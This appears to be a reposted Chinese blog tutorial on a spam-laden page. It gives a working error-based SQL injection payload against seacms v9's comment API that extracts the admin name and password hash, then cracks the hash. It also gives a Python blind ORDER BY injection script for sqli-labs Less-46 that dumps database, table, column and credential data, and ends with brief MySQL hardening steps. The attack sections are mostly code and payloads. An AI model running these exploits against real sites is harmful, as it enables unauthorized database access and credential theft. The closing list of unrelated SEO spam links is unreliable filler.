当前位置: 首页 > wzjs >正文

照明设计师南宁seo内部优化

照明设计师,南宁seo内部优化,如何优化网站tkd,郑州58同城对seacmsv9进行sql注入,orderby,过滤information_schema 1.对seacmsv9进行sql注入 海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频点播系统,采用的是 php5.Xmysql 的架构 seacm…
对seacmsv9进行sql注入,orderby,过滤information_schema
1.对seacmsv9进行sql注入

海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频点播系统,采用的是 php5.X+mysql 的架构

seacmsv9漏洞文件:./comment/api/index.php,漏洞参数:$rlist

由于seacms开源,可以知道seacmsv9系统数据库(mysql)为seacms,存放管理员账号的表为sea_admin,表中存放管理员姓名的字段为name,存放管理员密码的字段为password

使用以下语句注入

http://localhost/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml(1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`
​
# 定义SQL变量 `@'`(反引号用于绕过单引号过滤)。
# 目的是构造合法的SQL语法,避免因单引号未闭合导致语句错误。
# updatexml(XML_doc, XPath, new_value)  函数滥用:修改XML文档的节点值。当 `XPath` 参数格式非法时,MySQL会抛出错误,并将非法内容回显到错误信息中。
#构造格式错误的XPath:concat_ws(0x20,0x5c, (子查询))
#子查询:`select name from sea_admin limit 0,1` 提取第一个管理员用户名。:
#0x20 是空格,0x5c 是反斜杠 `\`。
#`%0a` 是换行符,绕过某些过滤规则(如空格过滤)

但是返回返回以下,并没有返回报错与查询的值

rlist: 空对象,可能表示排序参数未生效或注入逻辑未触发数据回显。

使用Wireshark抓包mysql数据包,最终发现执行下面语句

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment 
WHERE m_type=1 AND id in (@`\'`, updatexml(1,concat_ws(0x20,0x5c,(select name from#
sea_admin limit 0,1)),1), @`\'`) ORDER BY id DESC

于是去mysql数据库里面执行上面的代码,发现一样不报错不返回值

尝试修改语句,查询database()就可以查询数据库表名

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE 
m_type=1 AND id in (@`\'`, updatexml(1,concat_ws(0x20,0x5c,(select database()),1), @`\'`) ORDER BY id DESC

没有返回报错与查询的值,但是查询database()就可以查询数据库表名,于是查询sea_comment,发现居然没有数据,于是就插入了几条数据,发现可以执行了

联想截图_20250228231915

密码也是如此------注入密码为23a7bbd73250516f069d,可以看出是经过md5加密的,于是到md5在线解密破解,md5解密加密解密,得到密码为admin123

2.orderby

sqlilabs靶场第46关

参数sort传入id可以得到

参数sort传入username可以得到

联想截图_20250228233133

于是可以用sort=if(表达式,id,username)的方式注入,用BS爬取表格中username下一格的值是否等于Dumb来判断表达式的真假,并使用二分查找加快注入速度,从而实现boolen注入

import requests
from bs4 import BeautifulSoupdef get_username(resp):soup = BeautifulSoup(resp,'html.parser')username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].textreturn usernamedef inject_database_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)def inject_table_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from \information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)def inject_column_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from \information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)def inject_data_boolen():tables = ''i = 1while True:left = 32right = 127mid = (left + right) // 2while left < right:url = f"http://127.0.0.1/sqli-labs-php7-master/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) \from users),{i},1))>{mid},id,username) -- "resp = requests.get(url)if 'Dumb' == get_username(resp.text):left = mid + 1else:right = midmid = (left + right) // 2if mid == 32:breaktables += chr(mid)i += 1print(tables)if __name__ == '__main__':inject_data_boolen()

3.过滤information_schema解决方案(mysql)

1.创建只读用户---仅允许访问业务数据库(如 target_db),禁止访问系统表

CREATE USER 'web_user'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT ON target_db.* TO 'web_user'@'localhost';
FLUSH PRIVILEGES;

2.撤销 information_schema 权限

REVOKE SELECT ON information_schema.* FROM 'web_user'@'localhost';
FLUSH PRIVILEGES;

3.正则匹配拦截----若查询包含 information_schema,直接拒绝执行。

SELECT * FROM target_table
WHERE query NOT REGEXP 'information_schema';

http://www.dtcms.com/wzjs/371032.html

相关文章:

  • 树莓派做网站服务器怎样学网络与新媒体后悔死了
  • 北京 网站 建设上海关键词优化公司哪家好
  • 全球推广郑州网站排名优化公司
  • 建设网站的企业专业服务桂平seo快速优化软件
  • wordpress ttfb时间长青岛seo杭州厂商
  • 网站开发人员岗位职责各大免费推广网站
  • 怎么看网站banner尺寸手机网站排名优化
  • 做百度网站需不需要备案吗seo能从搜索引擎中获得更多的
  • 杭州设计公司网站排名seo 排名 优化
  • 大陆用户禁止访问app电脑优化软件排行榜
  • 一些大型网站的服务器需要租用多大的带宽常用的搜索引擎
  • 民权做网站的公司网站自助搭建
  • 做网站金山如何写软文推广产品
  • 受欢迎的模板网站建设目前网络推广平台
  • 做网站的时候公共部分怎么分离seo和sem的区别是什么
  • 我的网站模板下载不了饥饿营销案例
  • 自己开外销网站怎么做百度竞价登陆
  • 网站建设项目环境影响评价目录青岛百度seo排名
  • 常州专业网站建设费用优化网站的步骤
  • 高端品牌冰箱象山关键词seo排名
  • 厦门 网站开发网站优化排名易下拉系统
  • wordpress 筛选文章安卓优化大师2021
  • 网站架构包含哪几部分怎样做推广
  • 网站自动收录seo站长综合查询工具
  • 深圳住房与建设局网站人民日报新闻
  • 网站策划书撰写如何推广网站运营
  • 企业网站 批量备案bt种子搜索神器
  • 大连网站建设蛇皮果保定seo排名
  • 手机网站展示网络seo啥意思
  • ip代理提取网站源码真正免费的建站